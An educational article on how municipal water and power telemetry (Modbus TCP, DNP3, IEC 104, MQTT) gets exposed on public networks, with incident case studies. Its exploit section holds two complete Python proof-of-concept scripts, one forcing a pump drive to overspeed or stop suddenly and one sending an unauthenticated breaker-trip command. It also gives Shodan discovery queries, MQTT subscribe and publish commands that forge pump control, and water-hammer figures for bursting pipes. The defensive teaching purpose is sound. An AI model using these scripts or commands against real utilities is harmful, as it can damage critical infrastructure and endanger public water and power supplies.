How Municipal Water and Power Telemetry Networks Get Exposed
Try the interactive lab for this articleTake the quiz (6 questions)Municipal utilities responsible for distributing potable water, treating wastewater, and delivering medium-voltage electricity rely on remote telemetry networks. Pumping stations, reservoir tanks, chlorination dosing points, transformer substations, and ring main units are frequently located in unstaffed, geographically dispersed sites across municipal boundaries. To monitor fluid levels, pipe pressures, flow rates, busbar voltages, and breaker positions, utilities deploy Remote Terminal Units (RTUs) and Programmable Logic Controllers (PLCs) interfaced with field sensors and actuators.
Historically, telemetry data travelled across dedicated copper leased lines or private Ultra High Frequency (UHF) radio links. Over the past two decades, water authorities and regional distribution system operators (DSOs) across Europe and international jurisdictions migrated legacy field networks to commercial cellular networks (2G, 3G, 4G LTE, and NB-IoT/Cat-M1) and packet-switched IP networks. While this transition reduced operational expenditures and enabled real-time supervisory control, it connected operational technology (OT) hardware directly to public network infrastructure.
When these deployments lack encrypted transport, strong authentication, and private network overlays, utility control loops become visible to public internet scanners such as Shodan and Censys. Attackers can issue raw protocol commands directly to edge hardware, altering chemical dosing rates, overriding variable frequency drives, spoofing tank levels, or opening electrical distribution breakers.
Telemetry Architecture in Public Utilities
A municipal telemetry system translates physical physical parameters (pressure, flow, voltage, current, pH, liquid level) into digital data, transmits those values across a field bus or wide area network, and presents them on supervisory displays at a central operations centre. The system also executes control commands in reverse, converting software state changes into physical actuation.
+-----------------------------------------------------------------------------------+
| CENTRAL SCADA CONTROL CENTRE |
| |
| +-------------------+ +-------------------+ +-----------------------+ |
| | SCADA Master | | Historian DB | | HMI Operator UI | |
| | (Citect/Ignition)|<---->| (OSIsoft PI/Times)|<---->| (Web/Desktop Clients) | |
| +---------+---------+ +-------------------+ +-----------------------+ |
| | |
+------------|----------------------------------------------------------------------+
|
| WAN Backhaul: Public Cellular (4G/LTE), Fiber, or UHF Radio
| Protocols: Modbus TCP, DNP3, IEC 60870-5-104, cleartext MQTT
v
+-----------------------------------------------------------------------------------+
| REMOTE FIELD LOCATION (PUMP STATION / SUBSTATION) |
| |
| +-----------------------------------------------------------------------------+ |
| | Commercial Cellular Gateway / Router (Teltonika RUT955, Moxa, Sierra AirLink) | |
| | IP Interface: Dynamic or Static Public IPv4 (Unfiltered, No VPN Tunnel) | |
| +-------------------------------------+---------------------------------------+ |
| | |
| | Ethernet / RS-485 Serial Link |
| v |
| +-----------------------------------------------------------------------------+ |
| | Remote Terminal Unit (RTU) / PLC (Schneider SCADAPack, Siemens S7, ABB) | |
| | Exposed Ports: 502 (Modbus), 20000 (DNP3), 2404 (IEC-104), 1883 (MQTT) | |
| +----+--------------------------------+----------------------------------+----+ |
| | | | |
| | 4-20 mA Loop | RS-485 (Modbus RTU) | Relays|
| v v v |
| +----+--------------+ +-------------+------------+ +-----------------+----+ |
| | Pressure Sensor | | Variable Frequency Drive | | Chlorination | |
| | (Piezo-resistive) | | (VFD Pump Motor Controller)| | Dosing Pump | |
| +-------------------+ +--------------------------+ +--------------------+ |
+-----------------------------------------------------------------------------------+The Physical Layer: Sensors, Actuators, and Signal Standards
Field instrumentation measures environmental conditions and converts them into standardized electrical signals. In water and power systems, the dominant analog signal standard is the 4-20 mA current loop governed by the IEC 60381-1 specification.
In a 4-20 mA loop, a transmitter regulates current flowing through a two-wire circuit proportional to the measured variable. A live zero of 4 mA represents the bottom of the measurement range (such as an empty reservoir tank at 0.0 metres), while 20 mA represents the maximum scale (such as a full tank at 10.0 metres). If the circuit breaks or a wire is cut, the current drops to 0 mA, allowing the monitoring device to distinguish between a zero process reading and a hardware loop fault.
The mathematical relationship governing a linear 4-20 mA sensor reading is:
P_measured = P_min + ((I_loop - 4.0) / (20.0 - 4.0)) * (P_max - P_min)Where I_loop is the measured current in milliamperes, P_min is the lower scale limit, and P_max is the upper scale limit.
Digital smart instrumentation uses the Highway Addressable Remote Transducer (HART) protocol, which superimposes Phase Shift Keying (PSK) digital signals at 1200 baud over the analog 4-20 mA current signal without interfering with the primary current reading. Frequency Shift Keying (FSK) frequencies of 1200 Hz represent binary logic 1 and 2200 Hz represent binary logic 0 according to the Bell 202 standard.
For thermal measurements, such as transformer oil temperature or pump bearing housing temperature, Platinum Resistance Thermometers (Pt100 RTDs) are standard. Pt100 sensors display a precise resistance of 100.0 ohms at 0 degrees Celsius, increasing according to the Callendar-Van Dusen equation:
R(T) = R_0 * (1 + A*T + B*T^2)Where R_0 = 100.0, A = 3.9083 * 10^-3 C^-1, and B = -5.775 * 10^-7 C^-2.
Actuators perform physical changes in response to control signals. In water networks, Variable Frequency Drives (VFDs) regulate the rotational speed of AC induction motors driving centrifugal pumps. VFDs adjust the motor speed by rectifying incoming three-phase AC power to DC and synthesizing a pulse-width modulated (PWM) AC output at variable frequencies (such as 0 Hz to 50 Hz in European power grids).
Flow control valves utilize electric motor actuators (such as AUMA or Rotork drives) controlled via discrete 24V DC relay contacts or digital fieldbus commands to adjust orifice openings.
Remote Terminal Units (RTUs) vs. Programmable Logic Controllers (PLCs)
At the edge of the utility network sits the control hardware: PLCs and RTUs. While modern hardware blurs the distinction between the two, their architectural designs reflect different operational origins.
PLCs (such as the Siemens S7-1200/1500, Schneider Electric Modicon M241, or Allen-Bradley MicroLogix) were designed for high-speed industrial automation inside centralized facilities. They process I/O loops with deterministic scan times ranging from 1 to 20 milliseconds. PLCs execute control logic defined in IEC 61131-3 languages: Ladder Diagram (LD), Structured Text (ST), Function Block Diagram (FBD), and Sequential Function Chart (SFC).
RTUs (such as the Schneider Electric SCADAPack series, ABB RTU560, Brodersen RTU32 series, or Motorola ACE3600) were engineered specifically for remote geographical sites with harsh environments, low power availability, and intermittent communications. An RTU features:
- High Surge Immunity: Galvanic isolation on digital and analog input channels (typically 1.5 kV to 2.5 kV isolation) to withstand lightning surges on long sensor runs.
- Low Power Consumption: Sleep modes operating down to a few milliwatts, powered by 12V/24V DC solar arrays and gel-cell backup batteries.
- Local Autonomous Control: Internal real-time clocks and non-volatile memory storing months of time-stamped log data (Sequence of Events, or SOE logging) with millisecond timestamp resolution using NTP or GPS time synchronization.
- Flexible Communication Interfaces: Multiple serial ports (RS-232, RS-485), Ethernet interfaces, and internal option slots for cellular modems or radio transceivers.
An RTU continuously executes an internal scan cycle:
+-------------------------------------------------------------+
| 1. Hardware Input Read |
| Sample ADC channels (4-20 mA), read digital optocouplers|
+------------------------------+------------------------------+
|
v
+-------------------------------------------------------------+
| 2. Execute Control Logic |
| Evaluate PID loops, interlocks, alarm thresholds |
+------------------------------+------------------------------+
|
v
+-------------------------------------------------------------+
| 3. Hardware Output Write |
| Update DAC outputs, toggle relay coils, send VFD commands|
+------------------------------+------------------------------+
|
v
+-------------------------------------------------------------+
| 4. Communication & Telemetry Processing |
| Process incoming protocol requests (Modbus/DNP3/IEC-104) |
| Transmit un-solicited event reports to SCADA Master |
+-------------------------------------------------------------+Field Bus to Gateway Transports
Within a pumping station or electrical substation, field instruments connect to the RTU over local fieldbus channels. EIA-485 (commonly designated RS-485) remains the dominant physical layer for serial communication in utilities.
RS-485 uses balanced differential signalling over a shielded twisted pair (wires A and B, plus ground). The receiver determines logic states based on the differential voltage V_A - V_B:
- Logic 1 (Mark):
V_A - V_B < -200 mV(typicallyV_Ais lower thanV_B). - Logic 0 (Space):
V_A - V_B > +200 mV(typicallyV_Ais higher thanV_B).
Differential signaling provides high common-mode noise rejection, allowing multi-drop networks with up to 32 standard unit loads operating over distances up to 1,200 metres at baud rates from 9600 to 115200 bps.
Serial fieldbuses typically run the Modbus RTU protocol, where messages are framed by silent intervals of 3.5 character times. Each frame contains a 1-byte slave address, 1-byte function code, variable-length data payload, and a 16-bit Cyclic Redundancy Check (CRC-16 using polynomial 0xA001).
To connect serial fieldbuses and Ethernet-capable RTUs to central management software over geographic distances, utilities install serial-to-cellular gateways or industrial cellular routers (such as Teltonika RUT955, Moxa OnCell G3150, Sierra Wireless AirLink RV50, or Westermo Merlin series). These edge gateways bridge serial data streams to IP packets or route local Ethernet traffic over public cellular networks.
Cellular Backhaul and Central SCADA Integration
Edge gateways connect to Mobile Network Operators (MNOs) via 4G LTE (Cat-4/Cat-1), NB-IoT (Narrowband IoT), or LTE Cat-M1 networks. Legacy deployments frequently maintain 2G/GSM fallback capabilities for rural areas where LTE coverage degrades.
At the central control office, a Master Terminal Unit (MTU) running supervisory control software (such as AVEVA Citect SCADA, VTScada, Ignition by Inductive Automation, or Siemens WinCC) polls edge RTUs or receives unsolicited event reports. The SCADA Master archives telemetry into enterprise Historian databases (such as OSIsoft PI, InfluxDB, or TimescaleDB) using optimized time-series compression algorithms (such as the Swinging Door Trending algorithm).
The central system presents physical schematics, pump status icons, alarm lists, and historical trend lines to human operators via Human-Machine Interfaces (HMIs) operating over OPC UA (Open Platform Communications Unified Architecture) or native protocol drivers.
Unprotected Communication Channels and Internet Exposure
The primary vulnerability vector for municipal utilities stems from how edge cellular routers connect to mobile networks and how industrial protocols are exposed over IP interfaces.
Direct Public IP Assignment on Cellular Interfaces
When a utility provisions cellular SIM cards for telemetry routers, MNOs assign IP addresses to the cellular modem's Packet Data Protocol (PDP) context. Depending on the mobile subscriber contract, MNOs assign one of three IP addressing architectures:
Option A: Carrier-Grade NAT (CGNAT)
+-------------+ +-------------------+ +------------------+
| Edge Router |----->| MNO CGNAT Gateway |----->| Public Internet |
| 10.64.12.4 | | Public IP: Pool | | (Inbound Blocked)|
+-------------+ +-------------------+ +------------------+
Option B: Private APN with VPN Concentrator (Secure Architecture)
+-------------+ +-------------------+ +------------------+
| Edge Router |----->| Utility Private |----->| Central SCADA |
| 10.240.1.15 | | APN / IPsec Router| | (RFC 1918 Private|
+-------------+ +-------------------+ +------------------+
Option C: Direct Public IP Assignment (Vulnerable Architecture)
+-------------+ +-------------------+ +------------------+
| Edge Router |----->| MNO Public Pool |----->| Public Internet |
| 185.220.X.Y | | Dynamic/Static IP | | (Inbound Open!) |
+-------------+ +-------------------+ +------------------+Under Option C, the MNO assigns a globally routable IPv4 address directly to the cellular gateway. To save cost or simplify remote access for field technicians, municipal utilities often request static public IP addresses or utilize Dynamic DNS (DDNS) services on standard commercial SIM cards.
Because standard cellular gateway configurations default to bridging all incoming interfaces or forwarding exposed local ports (Port Forwarding / NAT rules) directly to internal RTU Ethernet ports, the RTU control interfaces become accessible from anywhere on the global IPv4 address space.
Shodan, Censys, and Global Protocol Scanning
Automated internet scanning platforms (such as Shodan, Censys, and ZoomEye) continuously probe the IPv4 address space by sending protocol-specific handshake packets to default port numbers. When a public cellular gateway responds to a probe on an industrial control port, the scanner indexes the device metadata, geographic location, autonomous system number (ASN), and protocol banner.
Common industrial protocol ports exposed across municipal utility networks include:
| Protocol | Default Port | Transport | Common Utility Application |
|---|---|---|---|
| Modbus TCP | 502 | TCP | Water pump control, VFD status, flow meters |
| DNP3 | 20000 | TCP / UDP | Electric distribution substations, water RTUs |
| IEC 60870-5-104 | 2404 | TCP | European power grid automation, RTU telemetry |
| MQTT | 1883 | TCP | Modern IoT telemetry, remote reservoir monitoring |
| CoAP | 5683 | UDP | Low-power wireless telemetry nodes |
| Ethernet/IP | 44818 | TCP / UDP | Allen-Bradley / Rockwell PLC telemetry |
| Siemens S7comm | 102 | TCP | Siemens S7-300/400/1200/1500 PLC programming |
| HTTP / HTTPS | 80 / 443 | TCP | Edge cellular router web management interfaces |
| Telnet | 23 | TCP | Legacy router CLI access |
A Shodan search query targeting exposed Modbus devices on public cellular networks (such as port:502 "Unit ID") returns thousands of exposed controllers globally. Many belong to small to medium municipal water authorities that lack dedicated cybersecurity staff.
Protocol Dissection of Cleartext Industrial Telemetry
Legacy industrial protocols were designed decades before IP networking was introduced to operational environments. They assume physical network isolation and contain zero native mechanisms for authentication, transport encryption, message integrity verification, or anti-replay protection.
1. Modbus TCP Protocol Mechanics
Modbus TCP wraps raw Modbus RTU Application Protocol Data Units (APDUs) inside a 7-byte TCP header called the Modbus Application Protocol (MBAP) Header. It operates on TCP port 502.
+-------------------------------------------------------------------------+
| MODBUS TCP FRAME STRUCTURE |
+------------------------------------+------------------------------------+
| MBAP HEADER | MODBUS PDU DATA |
| (7 Bytes) | (Variable Length) |
+----+----+----+----+----+----+----+----+----+----+-----------------------+
| Transaction | Protocol | Length |Unit|Func| Data Payload |
| ID | ID | | ID |Code| (Address, Value) |
| (2 Bytes) | (2 Bytes)|(2Bytes)|(1B)|(1B)| |
+----+----+----+----+----+----+----+----+----+----+-----------------------+The MBAP header fields are defined as follows:
- Transaction Identifier (2 bytes): Request/response tracking number assigned by the master.
- Protocol Identifier (2 bytes): Always set to
0x0000for Modbus protocol. - Length (2 bytes): Count of remaining bytes in the frame (includes Unit ID byte and PDU data).
- Unit Identifier (1 byte): Slave address used to route messages to fieldbus sub-devices behind a serial gateway (typically
0x01or0xFFfor direct Ethernet devices).
The PDU contains the Function Code followed by the data payload. Standard Modbus function codes include:
0x01(Read Coils): Reads discrete output bit states.0x02(Read Discrete Inputs): Reads physical digital input states.0x03(Read Holding Registers): Reads 16-bit internal configuration/control memory registers.0x04(Read Input Registers): Reads 16-bit analog input measurements.0x05(Write Single Coil): Forces a discrete output bit ON (0xFF00) or OFF (0x0000).0x06(Write Single Register): Writes a 16-bit value into a holding register.0x10(Write Multiple Registers): Writes a block of contiguous 16-bit holding registers.
Consider a Wireshark packet capture of an unauthenticated Modbus TCP request writing a speed setpoint of 50.0 Hz (encoded as an integer value of 5000, or 0x1388) to Holding Register address 40001 (0x0000 0-indexed):
Raw Hex Dump:
00 01 00 00 00 06 01 06 00 00 13 88
Field Analysis:
00 01 -> Transaction ID: 1
00 00 -> Protocol ID: 0 (Modbus)
00 06 -> Length: 6 bytes follow (Unit ID + Func + Addr + Value)
01 -> Unit ID: 1
06 -> Function Code 6 (Write Single Register)
00 00 -> Register Address: 0x0000 (Register 40001)
13 88 -> Register Value: 0x1388 (5000 decimal -> 50.0 Hz)Any entity capable of establishing a standard TCP connection to port 502 on an exposed public IP address can transmit this raw byte sequence. The RTU will process the command and modify its register without requesting credentials, tokens, or digital signatures.
2. DNP3 (Distributed Network Protocol 3)
DNP3 (standardized as IEEE 1815) is widely deployed in North American and European electric power distribution grids and water utilities. Unlike Modbus, DNP3 supports unsolicited responses, timestamped event buffers, and layered protocol definitions (Data Link, Transport, Pseudo-Transport, Application Layer).
+--------------------------------------------------------------------------+
| DNP3 FRAME STRUCTURE |
+--------------------------------------------------------------------------+
| DATA LINK HEADER | TRANSPORT | APPLICATION | OBJECT HEADER | DATA |
| (10 Bytes) | HEADER | HEADER | (Group/Var) | PAYLOAD |
+----+----+----+-----+----+------+----+--------+----+----------+-----------+
|Start|Len |Ctrl|Dest |Src |DataLnk|App |Func |Obj |Var |Qual | Data ... |
|0x0564 | |Addr |Addr|Header |Ctrl|Code |Grp | |ifier| |
+----+----+----+-----+----+------+----+--------+----+----------+-----------+A DNP3 Data Link Frame begins with a 2-byte start sequence (0x0564), a 1-byte length, 1-byte link control, a 2-byte destination address, a 2-byte source address, and a 2-byte Data Link CRC.
DNP3 Application Layer function codes include:
0x01(Read): Requests data objects from the outstation.0x02(Write): Writes data objects to the outstation.0x03(Select): Selects an output point prior to operation (Select-Before-Operate mechanism).0x04(Operate): Executes a previously selected output operation.0x05(Direct Operate): Executes an output operation without prior selection.0x0D(Cold Restart): Forces the remote outstation to reboot its hardware.
DNP3 classifies telemetry data into Object Groups:
- Group 10 (Binary Output): Relay states and switch positions.
- Group 12 (Control Relay Output Block - CROB): Commands used to pulse or latch output relays (e.g. trip breaker).
- Group 30 (Analog Input): Physical measurements (voltage, current, flow, level).
- Group 40 (Analog Output Status): Current setpoint feedback values.
Because base DNP3 lacks encryption or authentication, an attacker can issue a Direct Operate command (Function Code 0x05) targeting Object Group 12, Variation 1 (CROB) to open a circuit breaker or turn off a booster pump.
3. IEC 60870-5-104 (IEC 104)
IEC 60870-5-104 is the international standard for electrical engineering control systems operating over TCP/IP networks, extensively used throughout Europe, Asia, and South America. It operates on TCP port 2404.
An IEC 104 Application Protocol Data Unit (APDU) consists of an Application Protocol Control Information (APCI) header followed by an optional Application Service Data Unit (ASDU).
+-------------------------------------------------------------------------+
| IEC 60870-5-104 APDU STRUCTURE |
+------------------------------------+------------------------------------+
| APCI HEADER | ASDU DATA |
| (6 Bytes) | (Variable Length) |
+----+----+----+----+----+----+------+----+----+----+----+----+-----------+
|Start|Length| Control |Type|VSQ |Cot |OA | Common | Inf Obj |
|0x68| (1B) | Octets (4B) |ID | | | | Addr | Addr Data |
+----+----+----+----+----+----+------+----+----+----+----+----+-----------+APCI Header Fields:
- Start Byte: Always
0x68. - APDU Length: Length of the remaining APDU bytes (4 to 253 bytes).
- Control Fields: Four octets encoding frame formats:
- I-Format (Information Transfer): Carries control commands and telemetry ASDUs. Includes Send Sequence Number
N(S)and Receive Sequence NumberN(R). - S-Format (Numbered Supervisory Functions): Used for sequence acknowledgments.
- U-Format (Unnumbered Control Functions): Used for link activation (
STARTACT), deactivation (STOPACT), and test frames (TESTFR).
- I-Format (Information Transfer): Carries control commands and telemetry ASDUs. Includes Send Sequence Number
The Type Identifier in the ASDU specifies the information object structure:
- Type 1: Single-point information (binary status).
- Type 13: Measured value, short floating point number (analog values like grid frequency).
- Type 45: Single command (e.g., toggle discrete relay).
- Type 46: Double command (e.g., Select/Execute breaker Open/Close commands).
Like Modbus TCP and basic DNP3, IEC 104 features no native payload encryption or client authentication. Any unauthenticated TCP connection established to port 2404 that sends a valid STARTDT ACT (Start Data Transfer Activate) U-frame (0x68 0x04 0x07 0x00 0x00 0x00) will put the connection into an active data state, allowing full control over the remote substation.
4. Unauthenticated MQTT Brokers
Modern IoT-based utility telemetry platforms utilize Message Queuing Telemetry Transport (MQTT) over TCP port 1883. MQTT employs a publish-subscribe architecture centered on a broker. Field gateways publish JSON payloads to structured topics, while central SCADA collectors subscribe to those topics.
Field Gateway (RTU) ---Publish---> [ Exposed MQTT Broker ] <---Subscribe--- SCADA Master
[ (Port 1883) ]
Attacker ----------------Publish/Subscribe----------------^Municipalities often deploy open-source brokers (such as Eclipse Mosquitto or EMQX) on cloud Virtual Private Servers (VPS) or edge cellular gateways using default configurations. By default, Mosquitto versions prior to 2.0 allowed unauthenticated access from all network interfaces (allow_anonymous true).
An attacker connecting to an exposed MQTT broker can issue a wildcard subscription to # (the root multi-level wildcard):
mosquitto_sub -h 185.220.X.Y -p 1883 -t "#" -vThis subscription receives all cleartext telemetry streams published across the municipal network:
utility/district_04/pumping_station_12/telemetry {"timestamp": 1785584400, "tank_level_meters": 4.12, "flow_lps": 124.5, "pump1_status": "RUNNING", "pump2_status": "STOPPED"}
utility/district_04/pumping_station_12/dosing {"chlorine_residual_mg_l": 1.25, "pump_stroke_rate_pct": 35.0}If the system processes control actions over MQTT command topics (such as utility/district_04/pumping_station_12/control), an attacker can publish a forged JSON payload to override hardware actions:
mosquitto_pub -h 185.220.X.Y -p 1883 -t "utility/district_04/pumping_station_12/control" -m '{"command": "SET_PUMP_SPEED", "pump_id": 1, "speed_hz": 0.0}'Exploit Vectors on Utility Infrastructure
Exposing unauthenticated industrial protocols over public networks enables three primary physical attack vectors against water and power systems.
Remote Pump Speed Manipulation via Modbus TCP
Centrifugal pumps operating in municipal water distribution systems are optimized for specific hydraulic head and flow ranges described by the pump's System Head Curve. Overspeeding or underspeeding a pump motor using a VFD can cause physical hardware damage.
Head (H) / Pressure
^
| Overpressure / Pipe Burst Region
| +----------------------------------+
| / Pump Curve @ 75 Hz (Overspeed) |
| / |
| / Pump Curve @ 50 Hz (Rated Speed) |
| / +----------------------------------+
| / / |
| / / System Head Curve |
| / / +---------------------------------+
| / / / |
| / / / Cavitation / Low-Flow Region |
| +---+---+------------------------------------+---> Flow (Q)- Mechanical Cavitation: Operating a pump at speeds significantly below its rated curve reduces suction pressure below the vapor pressure of water. Vapor bubbles form at the impeller eye and violently collapse as they move into high-pressure zones, eroding the metallic impeller blades and destroying bearing assemblies within hours.
- Hydraulic Water Hammer (Surge): Abruptly stopping a high-capacity pump motor by forcing a 0 Hz setpoint produces a rapid pressure wave that propagates back and forth through the pipeline at the speed of sound in water (approximately 1,000 to 1,200 m/s). The head rise
Delta Hcaused by sudden velocity changeDelta vis governed by Joukowsky's Law:
Delta H = (a * Delta v) / gWhere a is the wave speed (1,200 m/s), Delta v is the fluid velocity change (m/s), and g is acceleration due to gravity (9.81 m/s^2). A sudden drop in velocity of 3 m/s generates an instantaneous dynamic pressure rise of:
Delta H = (1200 * 3) / 9.81 = 366.97 metres of head (approx. 36 bar / 3.6 MPa)This sudden pressure spike exceeds the nominal rating of ductile iron or PVC distribution pipes (typically PN10 or PN16 rated at 10 to 16 bar), resulting in catastrophic pipeline bursts beneath city streets.
The following Python script demonstrates how an attacker can execute an unauthenticated Modbus TCP write payload to force a remote VFD into an overspeed or sudden-stop condition:
#!/usr/bin/env python3
"""
Proof-of-Concept: Unauthenticated Modbus TCP Holding Register Injection
Target: Exposed Industrial VFD Controlling Water Distribution Pump
"""
import socket
import struct
import sys
def forge_modbus_tcp_write(unit_id: int, register_addr: int, value: int) -> bytes:
"""
Constructs a Modbus TCP Function Code 0x06 (Write Single Register) packet.
"""
transaction_id = 0x1337 # Arbitrary transaction tracking ID
protocol_id = 0x0000 # 0x0000 = Modbus Protocol
length = 6 # Bytes following: Unit ID (1) + Func (1) + Addr (2) + Val (2)
function_code = 0x06 # Write Single Register
mbap_header = struct.pack(">HHH", transaction_id, protocol_id, length)
pdu = struct.pack(">BBHH", unit_id, function_code, register_addr, value)
return mbap_header + pdu
def execute_attack(target_ip: str, target_port: int, register: int, new_value: int):
print(f"[*] Connecting to exposed telemetry target: {target_ip}:{target_port}")
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5.0)
sock.connect((target_ip, target_port))
# Build payload: Register 40001 (0-indexed address 0x0000), target speed
payload = forge_modbus_tcp_write(unit_id=1, register_addr=register, value=new_value)
print(f"[*] Transmitting raw byte payload: {payload.hex()}")
sock.sendall(payload)
response = sock.recv(1024)
print(f"[+] Received Response: {response.hex()}")
if len(response) >= 12 and response[7] == 0x06:
print("[SUCCESS] Holding register overwritten successfully on target RTU.")
else:
print("[-] Exception or error response received.")
sock.close()
except Exception as e:
print(f"[ERROR] Connection failed: {e}")
if __name__ == "__main__":
if len(sys.argv) < 5:
print(f"Usage: {sys.argv[0]} <Target_IP> <Port> <Register_Addr> <Value_Hz_x100>")
print("Example: python3 script.py 185.220.10.5 502 0 7500")
sys.exit(1)
target_host = sys.argv[1]
target_port = int(sys.argv[2])
reg_addr = int(sys.argv[3])
setpoint = int(sys.argv[4])
execute_attack(target_host, target_port, reg_addr, setpoint)Tank Level Sensor Spoofing via DNP3
In automated municipal water systems, elevated storage tanks maintain hydraulic pressure across distribution zones. Submersible pressure transducers (piezoresistive sensors measuring hydrostatic head) feed analog signals into RTUs.
Elevated Storage Tank
+-----------------+
|~~~~~~~~~~~~~~~~~| <-- True Level: 1.0 m (Near Empty)
| |
| |
+--------+--------+
|
| 4-20 mA Signal (4.16 mA)
v
+-----------------+
| Remote RTU |
+--------+--------+
|
| Injected False DNP3 Frame (Report 9.5 m)
v
+-----------------+
| SCADA Master | --> Inhibits Automatic Booster Pumps!
+-----------------+If an attacker intercepts or injects DNP3 analog input data (Group 30 Variation 2 - 16-bit Analog Input with Flag), they can report a false high water level (such as 9.5 metres in a 10.0 metre tank) to the SCADA Master when the physical level is actually dropping toward 0.5 metres.
Because the SCADA Master relies on the telemetry data to trigger automatic fill pumps, the false high reading inhibits pump startup. The distribution zone experiences pressure loss, inducing localized siphon effects that pull groundwater contaminants through leaking pipe joints into the potable water mains.
Conversely, spoofing a false low reading forces booster pumps to run continuously against a full tank. This causes the storage tank to overflow through vent pipes, causing localized flooding and wasting treated water.
Circuit Breaker Trip Command Injection via IEC 60870-5-104
Electrical distribution networks utilize Ring Main Units (RMUs) and medium-voltage circuit breakers to isolate faults. IEC 60870-5-104 is the primary protocol used to manage these devices across European substations.
To trip a breaker using IEC 104, a control system issues a Type 45 (Single Command) or Type 46 (Double Command) ASDU. High-reliability installations implement a Select-Before-Operate (SBO) sequence:
Attacker / Client Exposed Substation RTU
| |
| 1. U-Frame STARTDT ACT (0x68 0x04 0x07 0x00 0x00 0x00) |
|------------------------------------------------------>|
| 2. U-Frame STARTDT CON (0x68 0x04 0x0B 0x00 0x00 0x00) |
|<------------------------------------------------------|
| |
| 3. I-Frame ASDU 46 (Select Breaker 101 Open) |
|------------------------------------------------------>|
| 4. I-Frame ASDU 46 (Select Acknowledged) |
|<------------------------------------------------------|
| |
| 5. I-Frame ASDU 46 (Execute Breaker 101 Open) |
|------------------------------------------------------>|
| 6. Physical Relay Actuation: BREAKER TRIPPED! |
| 7. I-Frame ASDU 46 (Execution Confirmed) |
|<------------------------------------------------------|The Python script below establishes an unauthenticated IEC 104 socket connection, sends a STARTDT activation frame, constructs a Type 45 Single Command payload, and sends an unauthenticated execution command to trip a circuit breaker:
#!/usr/bin/env python3
"""
Proof-of-Concept: Unauthenticated IEC 60870-5-104 Command Injection
Target: Medium-Voltage Circuit Breaker Controller exposed on TCP Port 2404
"""
import socket
import sys
import time
def send_iec104_breaker_trip(ip: str, port: int = 2404, common_addr: int = 1, ioa: int = 100):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5.0)
print(f"[*] Connecting to IEC 104 Target: {ip}:{port}")
sock.connect((ip, port))
# Step 1: Send STARTDT ACT U-Frame
startdt_act = bytes([0x68, 0x04, 0x07, 0x00, 0x00, 0x00])
print("[*] Sending STARTDT ACT...")
sock.sendall(startdt_act)
response = sock.recv(1024)
print(f"[+] Response: {response.hex()}")
if len(response) < 6 or response[2] != 0x0B:
print("[-] Target failed to confirm STARTDT. Aborting.")
sock.close()
return
print("[+] Channel Active. Constructing Single Command ASDU (Type 45)...")
# Step 2: Build I-Frame with ASDU Type 45 (Single Command)
# APCI Header (6 bytes): Start=0x68, Length=0x0E (14 bytes data follows), I-Frame sequence
apci = bytes([0x68, 0x0E, 0x00, 0x00, 0x00, 0x00])
# ASDU Header:
type_id = 45 # Single Command (C_SC_NA_1)
vsq = 0x01 # SQ=0, Num Objects=1
cot = 0x06 # Cause of Transmission: Activation (0x06)
orig_addr = 0x00 # Originator Address
ca_bytes = common_addr.to_bytes(2, byteorder='little') # Common Address of ASDU (RTU Address)
# Information Object:
ioa_bytes = ioa.to_bytes(3, byteorder='little') # Information Object Address (Breaker ID)
# Single Command State Qualifier Byte (SCO):
# Bit 0: 0=OFF (Open Breaker / Trip), 1=ON (Close Breaker)
# Bit 2-7: Select/Execute Bit (0x80 = Select, 0x00 = Direct Execute)
sco_execute_off = 0x00 # Direct Execute, State = OFF (Trip)
asdu = bytes([type_id, vsq, cot, orig_addr]) + ca_bytes + ioa_bytes + bytes([sco_execute_off])
payload = apci + asdu
print(f"[*] Injecting Breaker Trip Payload: {payload.hex()}")
sock.sendall(payload)
ack = sock.recv(1024)
print(f"[+] Execution Acknowledgment Received: {ack.hex()}")
sock.close()
if __name__ == "__main__":
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <Target_IP> [Port=2404] [RTU_Addr=1] [IOA_Breaker=100]")
sys.exit(1)
target_ip = sys.argv[1]
t_port = int(sys.argv[2]) if len(sys.argv) > 2 else 2404
rtu_ca = int(sys.argv[3]) if len(sys.argv) > 3 else 1
breaker_ioa = int(sys.argv[4]) if len(sys.argv) > 4 else 100
send_iec104_breaker_trip(target_ip, t_port, rtu_ca, breaker_ioa)Case Studies in Water and Power Grid Failures
Unprotected telemetry channels and internet-facing OT hardware have caused real-world critical infrastructure incidents.
The Oldsmar Water Treatment Facility Incident (2021)
In February 2021, an unauthorized actor gained access to the SCADA HMI at the municipal water treatment facility in Oldsmar, Florida. The facility treats raw water and distributes potable supply to approximately 15,000 residents.
The intruder gained access by exploiting remote desktop software (TeamViewer) installed on a machine connected directly to the control network. The machine was accessible via the internet without multi-factor authentication and shared a default password across staff accounts.
Attacker ---> Internet ---> Exposed TeamViewer Endpoint ---> SCADA HMI Desktop
|
v
Overrode Sodium Hydroxide (NaOH)
Dosing Setpoint: 100 ppm -> 11,100 ppm!Once inside the HMI interface, the attacker remotely controlled the mouse cursor and manipulated chemical feed setpoints for Sodium Hydroxide (NaOH, commonly known as lye). NaOH is added to drinking water in small concentrations (typically 100 parts per million, or ppm) for pH stabilization and pipe corrosion control.
The intruder increased the NaOH feed setpoint from 100 ppm to 11,100 ppm, a 100-fold increase that would render the municipal water supply acutely toxic, causing severe chemical burns to consumer digestive systems and skin.
An alert operator on duty observed the cursor moving autonomously across the screen and witnessed the dosing setpoint modification in real time. As soon as the attacker exited the system, the operator manually restored the setpoint to 100 ppm. Because secondary pH monitoring sensors and manual chemical sampling controls remained active, the contaminated water never entered the municipal distribution network.
The Maroochy Shire Sewage Incident (2000)
In 2000, a disgruntled former contractor executed a series of cyberattacks against the wastewater management system in the Maroochy Shire Council in Queensland, Australia.
The council operated 142 sewage pumping stations linked via unencrypted UHF radio telemetry links to a central SCADA Master. The contractor acquired a laptop, a custom software interface, and a modified Pye modular radio transmitter. He drove around the region, parked near remote pumping stations, and spoofed radio telemetry packets.
Attacker in Vehicle ---> UHF Wireless Link (Unauthenticated) ---> Pumping Station RTUs
(Stolen Radio Gear) Commands: Disable Alarms, Disable Pumps,
Force Valves Open Run Solenoids ContinuousOver a two-month period, the attacker issued malicious control commands to multiple pumping station RTUs. He modified outstation identification numbers, altered operational parameters, suppressed system alarms, and instructed pumps to remain inactive while sewage levels rose.
